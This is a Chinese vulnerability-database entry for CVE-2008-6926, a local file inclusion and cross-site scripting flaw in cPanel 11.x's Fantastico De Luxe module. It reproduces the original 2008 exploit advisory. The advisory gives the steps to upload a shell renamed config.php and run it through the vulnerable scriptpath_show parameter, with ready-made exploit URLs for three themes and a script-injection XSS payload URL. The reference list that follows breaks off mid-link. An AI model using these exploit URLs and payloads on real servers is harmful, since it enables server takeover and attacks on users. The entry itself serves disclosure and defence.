Netenberg cPanel Fantastico De Luxe目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116565 漏洞类型 路径遍历
发布时间 2008-10-31 更新时间 2009-08-11
CVE编号 CVE-2008-6926 CNNVD-ID CNNVD-200908-064
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/6897
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-064
|漏洞详情
通过通过cPanelFantasticoDeLuxe模块的autoinstall4imagesgalleryupgrade.php中存在目录遍历漏洞。远程攻击者通过一个GoAhead操作的scriptpath_show参数中的目录遍历序列来执行任意本地文件。
|漏洞EXP
----------------------------------------------------------------

Script : Cpanel 11.x

Type : Local File Inclusion & Cross Site Scripting

Risk : High

----------------------------------------------------------------

Discovered by : Khashayar Fereidani

**** I am 17 Years Old ****

My Official Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Team Members : Khashayar Fereidani - Hadi Kiamarsi - Sina YazdanMehr

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Local File Inclusion Vulnerability :

Note : Rename your shell to config.php and upload with your ftp account in ./ directory .... , now login in cpanel and
       enter vulnerable address in url ....


https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x2/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

https://ServerIp:2083/frontend/x/fantastico/autoinstall4imagesgalleryupgrade.php?action=GoAhead&scriptpath_show=/home/[youruser]/

----------------------------------------------------------------

Cross site scripting :

File Address : frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrade%20to%201.7.4

Set Action as Upgrade%20to%201.7.4

Vulnerable Variables :

$localapp
$updatedir
$scriptpath_show
$domain_show
$thispage
$thisapp
$currentversion

For Example : https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrade%20to%201.7.4&localapp=%22%3Cscript%3Ealert(%27xss%27)%3C/script%3E


----------------------------------------------------------------

                        Tnx : God

          HTTP://IRCRASH.COM HTTP://FEREIDANI.IR

----------------------------------------------------------------

# milw0rm.com [2008-10-31]
|参考资料

来源:XF
名称:cpanel-autoinstall-file-include(46252)
链接:http://xforce.iss.net/xforce/xfdb/46252
来源:BID
名称:32016
链接:http://www.securityfocus.com/bid/32016
来源:BUGTRAQ
名称:20081120Re:Re:Cpanel11.xLocalFileInclusion&CrossSiteScripting-DiscoveredByKhashayarFereidani
链接:http://www.securityfocus.com/archive/1/archive/1/498529/100/0/threaded
来源:BUGTRAQ
名称:20081031Cpanel11.xLocalFileInclusion&CrossSiteScripting-DiscoveredByKhashayarFereidani
链接:http://www.securityfocus.com/archive/1/archive/1/497964/100/0/threaded
来源:BUGTRAQ
名称:20081120Re:Re:Cpanel11LocalFileInclusion&CrossSiteScripting-DiscoveredByKhashayarFereidani
链接:http://www.securityfocus.com/archive/1/498529
来源:BUGTRAQ
名称:20081120Re:Cpanel11LocalFileInclusion&CrossSiteScripting-DiscoveredByKhashayarFereidani
链接:http://www.securityfocus.com/archive/1/498526
来源:BUGTRAQ
名称:20081120Re:Cpanel11LocalFileInclusion&CrossSiteScripting-DiscoveredByKhashayarFereidani
链接:http://www.securityfocus.com/archive/1/498519
来源:www.netenberg.com
链接:http://www.net